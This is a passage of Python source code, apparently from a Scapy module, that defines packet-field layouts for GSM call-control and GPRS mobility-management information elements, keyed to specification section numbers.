ByteField("facilityInfo147", None), ByteField("facilityInfo148", None), ByteField("facilityInfo149", None), ByteField("facilityInfo150", None), ByteField("facilityInfo151", None), ByteField("facilityInfo152", None), ByteField("facilityInfo153", None), ByteField("facilityInfo154", None), ByteField("facilityInfo155", None), ByteField("facilityInfo156", None), ByteField("facilityInfo157", None), ByteField("facilityInfo158", None), ByteField("facilityInfo159", None), ByteField("facilityInfo160", None), ByteField("facilityInfo161", None), ByteField("facilityInfo162", None), ByteField("facilityInfo163", None), ByteField("facilityInfo164", None), ByteField("facilityInfo165", None), ByteField("facilityInfo166", None), ByteField("facilityInfo167", None), ByteField("facilityInfo168", None), ByteField("facilityInfo169", None), ByteField("facilityInfo170", None), ByteField("facilityInfo171", None), ByteField("facilityInfo172", None), ByteField("facilityInfo173", None), ByteField("facilityInfo174", None), ByteField("facilityInfo175", None), ByteField("facilityInfo176", None), ByteField("facilityInfo177", None), ByteField("facilityInfo178", None), ByteField("facilityInfo179", None), ByteField("facilityInfo180", None), ByteField("facilityInfo181", None), ByteField("facilityInfo182", None), ByteField("facilityInfo183", None), ByteField("facilityInfo184", None), ByteField("facilityInfo185", None), ByteField("facilityInfo186", None), ByteField("facilityInfo187", None), ByteField("facilityInfo188", None), ByteField("facilityInfo189", None), ByteField("facilityInfo190", None), ByteField("facilityInfo191", None), ByteField("facilityInfo192", None), ByteField("facilityInfo193", None), ByteField("facilityInfo194", None), ByteField("facilityInfo195", None), ByteField("facilityInfo196", None), ByteField("facilityInfo197", None), ByteField("facilityInfo198", None), ByteField("facilityInfo199", None), ByteField("facilityInfo200", None), ByteField("facilityInfo201", None), ByteField("facilityInfo202", None), ByteField("facilityInfo203", None), ByteField("facilityInfo204", None), ByteField("facilityInfo205", None), ByteField("facilityInfo206", None), ByteField("facilityInfo207", None), ByteField("facilityInfo208", None), ByteField("facilityInfo209", None), ByteField("facilityInfo210", None), ByteField("facilityInfo211", None), ByteField("facilityInfo212", None), ByteField("facilityInfo213", None), ByteField("facilityInfo214", None), ByteField("facilityInfo215", None), ByteField("facilityInfo216", None), ByteField("facilityInfo217", None), ByteField("facilityInfo218", None), ByteField("facilityInfo219", None), ByteField("facilityInfo220", None), ByteField("facilityInfo221", None), ByteField("facilityInfo222", None), ByteField("facilityInfo223", None), ByteField("facilityInfo224", None), ByteField("facilityInfo225", None), ByteField("facilityInfo226", None), ByteField("facilityInfo227", None), ByteField("facilityInfo228", None), ByteField("facilityInfo229", None), ByteField("facilityInfo230", None), ByteField("facilityInfo231", None), ByteField("facilityInfo232", None), ByteField("facilityInfo233", None), ByteField("facilityInfo234", None), ByteField("facilityInfo235", None), ByteField("facilityInfo236", None), ByteField("facilityInfo237", None), ByteField("facilityInfo238", None), ByteField("facilityInfo239", None), ByteField("facilityInfo240", None), ByteField("facilityInfo241", None), ByteField("facilityInfo242", None), ByteField("facilityInfo243", None), ByteField("facilityInfo244", None), ByteField("facilityInfo245", None), ByteField("facilityInfo246", None), ByteField("facilityInfo247", None), ByteField("facilityInfo248", None), ByteField("facilityInfo249", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 251, a, self.fields_desc) if self.lengthF is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay #len 2 to 5 class HighLayerCompatibilityHdr(Packet): """High layer compatibility Section 10.5.4.16""" name = "High Layer Compatibility" fields_desc = [ BitField("eightBitHLC", None, 1), XBitField("ieiHLC", None, 7), XByteField("lengthHLC", None), # optional BitField("ext", None, 1), BitField("codingStd", None, 2), BitField("interpret", None, 3), BitField("presMeth", None, 2), BitField("ext1", None, 1), BitField("highLayerId", None, 7), ConditionalField(BitField("ext2", 0x1, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("exHiLayerId", 0x0, 7), lambda pkt: pkt.ext1 == 0) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 5, a, self.fields_desc) if res[0] != 0: p = p[:-res[0]] if self.lengthHLC is None: p = p[:1] + struct.pack(">B", len(p)-2) + p[2:] return p + pay # # 10.5.4.16.1 Static conditions for the high layer # compatibility IE contents # class KeypadFacilityHdr(Packet): """Keypad facility Section 10.5.4.17""" name = "Keypad Facility" fields_desc = [ BitField("eightBitKF", None, 1), XBitField("ieiKF", None, 7), BitField("spare", 0x0, 1), BitField("keyPadInfo", 0x0, 7) ] # len 2 to 15 class LowLayerCompatibilityHdr(Packet): """Low layer compatibility Section 10.5.4.18""" name = "Low Layer Compatibility" fields_desc = [ BitField("eightBitLLC", None, 1), XBitField("ieiLLC", None, 7), XByteField("lengthLLC", None), # optional ByteField("rest0", None), ByteField("rest1", None), ByteField("rest2", None), ByteField("rest3", None), ByteField("rest4", None), ByteField("rest5", None), ByteField("rest6", None), ByteField("rest7", None), ByteField("rest8", None), ByteField("rest9", None), ByteField("rest10", None), ByteField("rest11", None), ByteField("rest12", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 15, a, self.fields_desc) if self.lengthLLC is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay class MoreDataHdr(Packet): """More data Section 10.5.4.19""" name = "More Data" fields_desc = [ BitField("eightBitMD", None, 1), XBitField("ieiMD", None, 7), ] class NotificationIndicatorHdr(Packet): """Notification indicator Section 10.5.4.20""" name = "Notification Indicator" fields_desc = [ BitField("eightBitNI", None, 1), XBitField("ieiNI", None, 7), BitField("ext", 0x1, 1), BitField("notifDesc", 0x0, 7) ] class ProgressIndicatorHdr(Packet): """Progress indicator Section 10.5.4.21""" name = "Progress Indicator" fields_desc = [ BitField("eightBitPI", None, 1), XBitField("ieiPI", None, 7), XByteField("lengthPI", 0x2), BitField("ext", 0x1, 1), BitField("codingStd", 0x0, 2), BitField("spare", 0x0, 1), BitField("location", 0x0, 4), BitField("ext1", 0x1, 1), BitField("progressDesc", 0x0, 7) ] class RecallTypeHdr(Packet): """Recall type $(CCBS)$ Section 10.5.4.21a""" name = "Recall Type $(CCBS)$" fields_desc = [ BitField("eightBitRT", None, 1), XBitField("ieiRT", None, 7), BitField("spare", 0x0, 5), BitField("recallType", 0x0, 3) ] # len 3 to 19 class RedirectingPartyBcdNumberHdr(Packet): """Redirecting party BCD number Section 10.5.4.21b""" name = "Redirecting Party BCD Number" fields_desc = [ BitField("eightBitRPBN", None, 1), XBitField("ieiRPBN", None, 7), XByteField("lengthRPBN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("numberingPlan", 0x0, 4), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("presId", None, 2), lambda pkt: pkt.ext == 0), ConditionalField(BitField("spare", None, 3), lambda pkt: pkt.ext == 0), ConditionalField(BitField("screenId", None, 2), lambda pkt: pkt.ext == 0), BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4), BitField("nbDigit22", None, 4), BitField("nbDigit21", None, 4), BitField("nbDigit24", None, 4), BitField("nbDigit23", None, 4), BitField("nbDigit26", None, 4), BitField("nbDigit25", None, 4), BitField("nbDigit28", None, 4), BitField("nbDigit27", None, 4), BitField("nbDigit30", None, 4), BitField("nbDigit29", None, 4), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(3, 19, a, self.fields_desc) if res[0] != 0: p = p[:-res[0]] if self.lengthRPBN is None: p = p[:1] + struct.pack(">B", len(p)-2) + p[2:] return p + pay # length 2 to 23 class RedirectingPartySubaddressHdr(Packet): """Redirecting party subaddress Section 10.5.4.21c""" name = "Redirecting Party BCD Number" fields_desc = [ BitField("eightBitRPS", None, 1), XBitField("ieiRPS", None, 7), XByteField("lengthRPS", None), # optional BitField("ext", None, 1), BitField("typeSub", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 23, a, self.fields_desc) if self.lengthRPS is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay class RepeatIndicatorHdr(Packet): """Repeat indicator Section 10.5.4.22""" name = "Repeat Indicator" fields_desc = [ XBitField("ieiRI", None, 4), BitField("repeatIndic", 0x0, 4) ] class ReverseCallSetupDirectionHdr(Packet): """Reverse call setup direction Section 10.5.4.22a""" name = "Reverse Call Setup Direction" fields_desc = [ ByteField("ieiRCSD", 0x0) ] # no upper length min 2(max for L3) (251) class SetupContainerHdr(Packet): """SETUP Container $(CCBS)$ Section 10.5.4.22b""" name = "Setup Container $(CCBS)$" fields_desc = [ BitField("eightBitSC", None, 1), XBitField("ieiSC", None, 7), XByteField("lengthSC", None), # optional ByteField("mess1", None), ByteField("mess2", None), ByteField("mess3", None), ByteField("mess4", None), ByteField("mess5", None), ByteField("mess6", None), ByteField("mess7", None), ByteField("mess8", None), ByteField("mess9", None), ByteField("mess10", None), ByteField("mess11", None), ByteField("mess12", None), ByteField("mess13", None), ByteField("mess14", None), ByteField("mess15", None), ByteField("mess16", None), ByteField("mess17", None), ByteField("mess18", None), ByteField("mess19", None), ByteField("mess20", None), ByteField("mess21", None), ByteField("mess22", None), ByteField("mess23", None), ByteField("mess24", None), ByteField("mess25", None), ByteField("mess26", None), ByteField("mess27", None), ByteField("mess28", None), ByteField("mess29", None), ByteField("mess30", None), ByteField("mess31", None), ByteField("mess32", None), ByteField("mess33", None), ByteField("mess34", None), ByteField("mess35", None), ByteField("mess36", None), ByteField("mess37", None), ByteField("mess38", None), ByteField("mess39", None), ByteField("mess40", None), ByteField("mess41", None), ByteField("mess42", None), ByteField("mess43", None), ByteField("mess44", None), ByteField("mess45", None), ByteField("mess46", None), ByteField("mess47", None), ByteField("mess48", None), ByteField("mess49", None), ByteField("mess50", None), ByteField("mess51", None), ByteField("mess52", None), ByteField("mess53", None), ByteField("mess54", None), ByteField("mess55", None), ByteField("mess56", None), ByteField("mess57", None), ByteField("mess58", None), ByteField("mess59", None), ByteField("mess60", None), ByteField("mess61", None), ByteField("mess62", None), ByteField("mess63", None), ByteField("mess64", None), ByteField("mess65", None), ByteField("mess66", None), ByteField("mess67", None), ByteField("mess68", None), ByteField("mess69", None), ByteField("mess70", None), ByteField("mess71", None), ByteField("mess72", None), ByteField("mess73", None), ByteField("mess74", None), ByteField("mess75", None), ByteField("mess76", None), ByteField("mess77", None), ByteField("mess78", None), ByteField("mess79", None), ByteField("mess80", None), ByteField("mess81", None), ByteField("mess82", None), ByteField("mess83", None), ByteField("mess84", None), ByteField("mess85", None), ByteField("mess86", None), ByteField("mess87", None), ByteField("mess88", None), ByteField("mess89", None), ByteField("mess90", None), ByteField("mess91", None), ByteField("mess92", None), ByteField("mess93", None), ByteField("mess94", None), ByteField("mess95", None), ByteField("mess96", None), ByteField("mess97", None), ByteField("mess98", None), ByteField("mess99", None), ByteField("mess100", None), ByteField("mess101", None), ByteField("mess102", None), ByteField("mess103", None), ByteField("mess104", None), ByteField("mess105", None), ByteField("mess106", None), ByteField("mess107", None), ByteField("mess108", None), ByteField("mess109", None), ByteField("mess110", None), ByteField("mess111", None), ByteField("mess112", None), ByteField("mess113", None), ByteField("mess114", None), ByteField("mess115", None), ByteField("mess116", None), ByteField("mess117", None), ByteField("mess118", None), ByteField("mess119", None), ByteField("mess120", None), ByteField("mess121", None), ByteField("mess122", None), ByteField("mess123", None), ByteField("mess124", None), ByteField("mess125", None), ByteField("mess126", None), ByteField("mess127", None), ByteField("mess128", None), ByteField("mess129", None), ByteField("mess130", None), ByteField("mess131", None), ByteField("mess132", None), ByteField("mess133", None), ByteField("mess134", None), ByteField("mess135", None), ByteField("mess136", None), ByteField("mess137", None), ByteField("mess138", None), ByteField("mess139", None), ByteField("mess140", None), ByteField("mess141", None), ByteField("mess142", None), ByteField("mess143", None), ByteField("mess144", None), ByteField("mess145", None), ByteField("mess146", None), ByteField("mess147", None), ByteField("mess148", None), ByteField("mess149", None), ByteField("mess150", None), ByteField("mess151", None), ByteField("mess152", None), ByteField("mess153", None), ByteField("mess154", None), ByteField("mess155", None), ByteField("mess156", None), ByteField("mess157", None), ByteField("mess158", None), ByteField("mess159", None), ByteField("mess160", None), ByteField("mess161", None), ByteField("mess162", None), ByteField("mess163", None), ByteField("mess164", None), ByteField("mess165", None), ByteField("mess166", None), ByteField("mess167", None), ByteField("mess168", None), ByteField("mess169", None), ByteField("mess170", None), ByteField("mess171", None), ByteField("mess172", None), ByteField("mess173", None), ByteField("mess174", None), ByteField("mess175", None), ByteField("mess176", None), ByteField("mess177", None), ByteField("mess178", None), ByteField("mess179", None), ByteField("mess180", None), ByteField("mess181", None), ByteField("mess182", None), ByteField("mess183", None), ByteField("mess184", None), ByteField("mess185", None), ByteField("mess186", None), ByteField("mess187", None), ByteField("mess188", None), ByteField("mess189", None), ByteField("mess190", None), ByteField("mess191", None), ByteField("mess192", None), ByteField("mess193", None), ByteField("mess194", None), ByteField("mess195", None), ByteField("mess196", None), ByteField("mess197", None), ByteField("mess198", None), ByteField("mess199", None), ByteField("mess200", None), ByteField("mess201", None), ByteField("mess202", None), ByteField("mess203", None), ByteField("mess204", None), ByteField("mess205", None), ByteField("mess206", None), ByteField("mess207", None), ByteField("mess208", None), ByteField("mess209", None), ByteField("mess210", None), ByteField("mess211", None), ByteField("mess212", None), ByteField("mess213", None), ByteField("mess214", None), ByteField("mess215", None), ByteField("mess216", None), ByteField("mess217", None), ByteField("mess218", None), ByteField("mess219", None), ByteField("mess220", None), ByteField("mess221", None), ByteField("mess222", None), ByteField("mess223", None), ByteField("mess224", None), ByteField("mess225", None), ByteField("mess226", None), ByteField("mess227", None), ByteField("mess228", None), ByteField("mess229", None), ByteField("mess230", None), ByteField("mess231", None), ByteField("mess232", None), ByteField("mess233", None), ByteField("mess234", None), ByteField("mess235", None), ByteField("mess236", None), ByteField("mess237", None), ByteField("mess238", None), ByteField("mess239", None), ByteField("mess240", None), ByteField("mess241", None), ByteField("mess242", None), ByteField("mess243", None), ByteField("mess244", None), ByteField("mess245", None), ByteField("mess246", None), ByteField("mess247", None), ByteField("mess248", None), ByteField("mess249", None), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 251, a, self.fields_desc) if self.lengthSC is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay class SignalHdr(Packet): """Signal Section 10.5.4.23""" name = "Signal" fields_desc = [ BitField("eightBitS", None, 1), XBitField("ieiS", None, 7), ByteField("sigValue", 0x0) ] # length 2 to max for L3 message (251) class SsVersionIndicatorHdr(Packet): """SS Version Indicator Section 10.5.4.24""" name = "SS Version Indicator" fields_desc = [ BitField("eightBitSVI", None, 1), XBitField("ieiSVI", None, 7), XByteField("lengthSVI", None), # optional ByteField("info1", None), ByteField("info2", None), ByteField("info3", None), ByteField("info4", None), ByteField("info5", None), ByteField("info6", None), ByteField("info7", None), ByteField("info8", None), ByteField("info9", None), ByteField("info10", None), ByteField("info11", None), ByteField("info12", None), ByteField("info13", None), ByteField("info14", None), ByteField("info15", None), ByteField("info16", None), ByteField("info17", None), ByteField("info18", None), ByteField("info19", None), ByteField("info20", None), ByteField("info21", None), ByteField("info22", None), ByteField("info23", None), ByteField("info24", None), ByteField("info25", None), ByteField("info26", None), ByteField("info27", None), ByteField("info28", None), ByteField("info29", None), ByteField("info30", None), ByteField("info31", None), ByteField("info32", None), ByteField("info33", None), ByteField("info34", None), ByteField("info35", None), ByteField("info36", None), ByteField("info37", None), ByteField("info38", None), ByteField("info39", None), ByteField("info40", None), ByteField("info41", None), ByteField("info42", None), ByteField("info43", None), ByteField("info44", None), ByteField("info45", None), ByteField("info46", None), ByteField("info47", None), ByteField("info48", None), ByteField("info49", None), ByteField("info50", None), ByteField("info51", None), ByteField("info52", None), ByteField("info53", None), ByteField("info54", None), ByteField("info55", None), ByteField("info56", None), ByteField("info57", None), ByteField("info58", None), ByteField("info59", None), ByteField("info60", None), ByteField("info61", None), ByteField("info62", None), ByteField("info63", None), ByteField("info64", None), ByteField("info65", None), ByteField("info66", None), ByteField("info67", None), ByteField("info68", None), ByteField("info69", None), ByteField("info70", None), ByteField("info71", None), ByteField("info72", None), ByteField("info73", None), ByteField("info74", None), ByteField("info75", None), ByteField("info76", None), ByteField("info77", None), ByteField("info78", None), ByteField("info79", None), ByteField("info80", None), ByteField("info81", None), ByteField("info82", None), ByteField("info83", None), ByteField("info84", None), ByteField("info85", None), ByteField("info86", None), ByteField("info87", None), ByteField("info88", None), ByteField("info89", None), ByteField("info90", None), ByteField("info91", None), ByteField("info92", None), ByteField("info93", None), ByteField("info94", None), ByteField("info95", None), ByteField("info96", None), ByteField("info97", None), ByteField("info98", None), ByteField("info99", None), ByteField("info100", None), ByteField("info101", None), ByteField("info102", None), ByteField("info103", None), ByteField("info104", None), ByteField("info105", None), ByteField("info106", None), ByteField("info107", None), ByteField("info108", None), ByteField("info109", None), ByteField("info110", None), ByteField("info111", None), ByteField("info112", None), ByteField("info113", None), ByteField("info114", None), ByteField("info115", None), ByteField("info116", None), ByteField("info117", None), ByteField("info118", None), ByteField("info119", None), ByteField("info120", None), ByteField("info121", None), ByteField("info122", None), ByteField("info123", None), ByteField("info124", None), ByteField("info125", None), ByteField("info126", None), ByteField("info127", None), ByteField("info128", None), ByteField("info129", None), ByteField("info130", None), ByteField("info131", None), ByteField("info132", None), ByteField("info133", None), ByteField("info134", None), ByteField("info135", None), ByteField("info136", None), ByteField("info137", None), ByteField("info138", None), ByteField("info139", None), ByteField("info140", None), ByteField("info141", None), ByteField("info142", None), ByteField("info143", None), ByteField("info144", None), ByteField("info145", None), ByteField("info146", None), ByteField("info147", None), ByteField("info148", None), ByteField("info149", None), ByteField("info150", None), ByteField("info151", None), ByteField("info152", None), ByteField("info153", None), ByteField("info154", None), ByteField("info155", None), ByteField("info156", None), ByteField("info157", None), ByteField("info158", None), ByteField("info159", None), ByteField("info160", None), ByteField("info161", None), ByteField("info162", None), ByteField("info163", None), ByteField("info164", None), ByteField("info165", None), ByteField("info166", None), ByteField("info167", None), ByteField("info168", None), ByteField("info169", None), ByteField("info170", None), ByteField("info171", None), ByteField("info172", None), ByteField("info173", None), ByteField("info174", None), ByteField("info175", None), ByteField("info176", None), ByteField("info177", None), ByteField("info178", None), ByteField("info179", None), ByteField("info180", None), ByteField("info181", None), ByteField("info182", None), ByteField("info183", None), ByteField("info184", None), ByteField("info185", None), ByteField("info186", None), ByteField("info187", None), ByteField("info188", None), ByteField("info189", None), ByteField("info190", None), ByteField("info191", None), ByteField("info192", None), ByteField("info193", None), ByteField("info194", None), ByteField("info195", None), ByteField("info196", None), ByteField("info197", None), ByteField("info198", None), ByteField("info199", None), ByteField("info200", None), ByteField("info201", None), ByteField("info202", None), ByteField("info203", None), ByteField("info204", None), ByteField("info205", None), ByteField("info206", None), ByteField("info207", None), ByteField("info208", None), ByteField("info209", None), ByteField("info210", None), ByteField("info211", None), ByteField("info212", None), ByteField("info213", None), ByteField("info214", None), ByteField("info215", None), ByteField("info216", None), ByteField("info217", None), ByteField("info218", None), ByteField("info219", None), ByteField("info220", None), ByteField("info221", None), ByteField("info222", None), ByteField("info223", None), ByteField("info224", None), ByteField("info225", None), ByteField("info226", None), ByteField("info227", None), ByteField("info228", None), ByteField("info229", None), ByteField("info230", None), ByteField("info231", None), ByteField("info232", None), ByteField("info233", None), ByteField("info234", None), ByteField("info235", None), ByteField("info236", None), ByteField("info237", None), ByteField("info238", None), ByteField("info239", None), ByteField("info240", None), ByteField("info241", None), ByteField("info242", None), ByteField("info243", None), ByteField("info244", None), ByteField("info245", None), ByteField("info246", None), ByteField("info247", None), ByteField("info248", None), ByteField("info249", None), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 251, a, self.fields_desc) if self.lengthSVI is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay # length 3 to 35 or 131 class UserUserHdr(Packet): """User-user Section 10.5.4.25""" name = "User-User" fields_desc = [ BitField("eightBitUU", None, 1), XBitField("ieiUU", None, 7), XByteField("lengthUU", None), # dynamic length of field depending # of the type of message # let user decide which length he # wants to take # => more fuzzing options ByteField("userUserPD", 0x0), # optional ByteField("userUserInfo1", None), ByteField("userUserInfo2", None), ByteField("userUserInfo3", None), ByteField("userUserInfo4", None), ByteField("userUserInfo5", None), ByteField("userUserInfo6", None), ByteField("userUserInfo7", None), ByteField("userUserInfo8", None), ByteField("userUserInfo9", None), ByteField("userUserInfo10", None), ByteField("userUserInfo11", None), ByteField("userUserInfo12", None), ByteField("userUserInfo13", None), ByteField("userUserInfo14", None), ByteField("userUserInfo15", None), ByteField("userUserInfo16", None), ByteField("userUserInfo17", None), ByteField("userUserInfo18", None), ByteField("userUserInfo19", None), ByteField("userUserInfo20", None), ByteField("userUserInfo21", None), ByteField("userUserInfo22", None), ByteField("userUserInfo23", None), ByteField("userUserInfo24", None), ByteField("userUserInfo25", None), ByteField("userUserInfo26", None), ByteField("userUserInfo27", None), ByteField("userUserInfo28", None), ByteField("userUserInfo29", None), ByteField("userUserInfo30", None), ByteField("userUserInfo31", None), ByteField("userUserInfo32", None), # long packet ByteField("userUserInfo33", None), ByteField("userUserInfo34", None), ByteField("userUserInfo35", None), ByteField("userUserInfo36", None), ByteField("userUserInfo37", None), ByteField("userUserInfo38", None), ByteField("userUserInfo39", None), ByteField("userUserInfo40", None), ByteField("userUserInfo41", None), ByteField("userUserInfo42", None), ByteField("userUserInfo43", None), ByteField("userUserInfo44", None), ByteField("userUserInfo45", None), ByteField("userUserInfo46", None), ByteField("userUserInfo47", None), ByteField("userUserInfo48", None), ByteField("userUserInfo49", None), ByteField("userUserInfo50", None), ByteField("userUserInfo51", None), ByteField("userUserInfo52", None), ByteField("userUserInfo53", None), ByteField("userUserInfo54", None), ByteField("userUserInfo55", None), ByteField("userUserInfo56", None), ByteField("userUserInfo57", None), ByteField("userUserInfo58", None), ByteField("userUserInfo59", None), ByteField("userUserInfo60", None), ByteField("userUserInfo61", None), ByteField("userUserInfo62", None), ByteField("userUserInfo63", None), ByteField("userUserInfo64", None), ByteField("userUserInfo65", None), ByteField("userUserInfo66", None), ByteField("userUserInfo67", None), ByteField("userUserInfo68", None), ByteField("userUserInfo69", None), ByteField("userUserInfo70", None), ByteField("userUserInfo71", None), ByteField("userUserInfo72", None), ByteField("userUserInfo73", None), ByteField("userUserInfo74", None), ByteField("userUserInfo75", None), ByteField("userUserInfo76", None), ByteField("userUserInfo77", None), ByteField("userUserInfo78", None), ByteField("userUserInfo79", None), ByteField("userUserInfo80", None), ByteField("userUserInfo81", None), ByteField("userUserInfo82", None), ByteField("userUserInfo83", None), ByteField("userUserInfo84", None), ByteField("userUserInfo85", None), ByteField("userUserInfo86", None), ByteField("userUserInfo87", None), ByteField("userUserInfo88", None), ByteField("userUserInfo89", None), ByteField("userUserInfo90", None), ByteField("userUserInfo91", None), ByteField("userUserInfo92", None), ByteField("userUserInfo93", None), ByteField("userUserInfo94", None), ByteField("userUserInfo95", None), ByteField("userUserInfo96", None), ByteField("userUserInfo97", None), ByteField("userUserInfo98", None), ByteField("userUserInfo99", None), ByteField("userUserInfo100", None), ByteField("userUserInfo101", None), ByteField("userUserInfo102", None), ByteField("userUserInfo103", None), ByteField("userUserInfo104", None), ByteField("userUserInfo105", None), ByteField("userUserInfo106", None), ByteField("userUserInfo107", None), ByteField("userUserInfo108", None), ByteField("userUserInfo109", None), ByteField("userUserInfo110", None), ByteField("userUserInfo111", None), ByteField("userUserInfo112", None), ByteField("userUserInfo113", None), ByteField("userUserInfo114", None), ByteField("userUserInfo115", None), ByteField("userUserInfo116", None), ByteField("userUserInfo117", None), ByteField("userUserInfo118", None), ByteField("userUserInfo119", None), ByteField("userUserInfo120", None), ByteField("userUserInfo121", None), ByteField("userUserInfo122", None), ByteField("userUserInfo123", None), ByteField("userUserInfo124", None), ByteField("userUserInfo125", None), ByteField("userUserInfo126", None), ByteField("userUserInfo127", None), ByteField("userUserInfo128", None), ByteField("userUserInfo129", None), ByteField("userUserInfo130", None), ByteField("userUserInfo131", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(3, 131, a, self.fields_desc) if self.lengthUU is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay class AlertingPatternHdr(Packet): """Alerting Pattern 10.5.4.26""" name = "Alerting Pattern" fields_desc = [ BitField("eightBitAP", None, 1), XBitField("ieiAP", None, 7), XByteField("lengthAP", 0x3), BitField("spare", 0x0, 4), BitField("alertingValue", 0x0, 4) ] class AllowedActionsHdr(Packet): """Allowed actions $(CCBS)$ Section 10.5.4.26""" name = "Allowed Actions $(CCBS)$" fields_desc = [ BitField("eightBitAA", None, 1), XBitField("ieiAA", None, 7), XByteField("lengthAP", 0x3), BitField("CCBS", 0x0, 1), BitField("spare", 0x0, 7) ] # # 10.5.5 GPRS mobility management information elements # class AttachResult(Packet): """Attach result Section 10.5.5.1""" name = "Attach Result" fields_desc = [ XBitField("ieiAR", 0x0, 4), BitField("spare", 0x0, 1), BitField("result", 0x1, 3) ] class AttachTypeHdr(Packet): """Attach type Section 10.5.5.2""" name = "Attach Type" fields_desc = [ XBitField("ieiAT", None, 4), BitField("spare", 0x0, 1), BitField("type", 0x1, 3) ] # Fix 1/2 len problem class AttachTypeAndCiphKeySeqNr(Packet): name = "Attach Type and Cipher Key Sequence Number" fields_desc = [ BitField("spare", 0x0, 1), BitField("type", 0x1, 3), BitField("spareHalfOctets", 0x0, 4) ] class CipheringAlgorithm(Packet): """Ciphering algorithm Section 10.5.5.3""" name = "Ciphering Algorithm" fields_desc = [ XBitField("ieiCA", 0x0, 4), BitField("spare", 0x0, 1), BitField("type", 0x1, 3) ] # Fix 1/2 len problem class CipheringAlgorithmAndImeisvRequest(Packet): name = "Ciphering Algorithm and Imeisv Request" fields_desc = [ BitField("spare", 0x0, 1), BitField("type", 0x1, 3), BitField("spare", 0x0, 1), BitField("imeisvVal", 0x0, 3) ] # [Spare] class TmsiStatus(Packet): """[Spare] TMSI status Section 10.5.5.4""" name = "[Spare] TMSI Status" fields_desc = [ XBitField("ieiTS", None, 4), BitField("spare", 0x0, 3), BitField("flag", 0x1, 1) ] class DetachType(Packet): """Detach type Section 10.5.5.5""" name = "Detach Type" fields_desc = [ XBitField("ieiDT", 0x0, 4), BitField("poweroff", 0x0, 1), BitField("type", 0x1, 3) ] # Fix 1/2 len problem class DetachTypeAndForceToStandby(Packet): name = "Detach Type and Force To Standby" fields_desc = [ BitField("poweroff", 0x0, 1), BitField("type", 0x1, 3), BitField("spare", 0x0, 1), BitField("forceStandby", 0x0, 3) ] # Fix 1/2 len problem class DetachTypeAndSpareHalfOctets(Packet): name = "Detach Type and Spare Half Octets" fields_desc = [ BitField("poweroff", 0x0, 1), BitField("type", 0x1, 3), BitField("spareHalfOctets", 0x0, 4) ] class DrxParameter(Packet): """DRX parameter Section 10.5.5.6""" name = "DRX Parameter" fields_desc = [ ByteField("ieiDP", 0x0), ByteField("splitPG", 0x0), BitField("spare", 0x0, 4), BitField("splitCCCH", 0x0, 1), BitField("NonDrxTimer", 0x1, 3) ] class ForceToStandby(Packet): """Force to standby Section 10.5.5.7""" name = "Force To Standby" fields_desc = [ XBitField("ieiFTS", 0x0, 4), BitField("spare", 0x0, 1), BitField("forceStandby", 0x0, 3) ] # Fix 1/2 len problem class ForceToStandbyAndAcReferenceNumber(Packet): name = "Force To Standby And Ac Reference Number" fields_desc = [ BitField("spare", 0x0, 1), BitField("forceStandby", 0x0, 3), BitField("acRefVal", 0x0, 4) ] # Fix 1/2 len problem class ForceToStandbyAndUpdateResult(Packet): name = "Force To Standby And Update Result" fields_desc = [ BitField("spare", 0x0, 1), BitField("forceStandby", 0x0, 3), BitField("spare", 0x0, 1), BitField("updateResVal", 0x0, 3) ] # Fix 1/2 len problem class ForceToStandbyAndSpareHalfOctets(Packet): name = "Force To Standby And Spare Half Octets" fields_desc = [ BitField("spare", 0x0, 1), BitField("forceStandby", 0x0, 3), BitField("spareHalfOctets", 0x0, 4) ] class PTmsiSignature(Packet): """P-TMSI signature Section 10.5.5.8""" name = "P-TMSI Signature" fields_desc = [ ByteField("ieiPTS", 0x0), BitField("sgnature", 0x0, 24) ] class IdentityType2(Packet): """Identity type 2 Section 10.5.5.9""" name = "Identity Type 2" 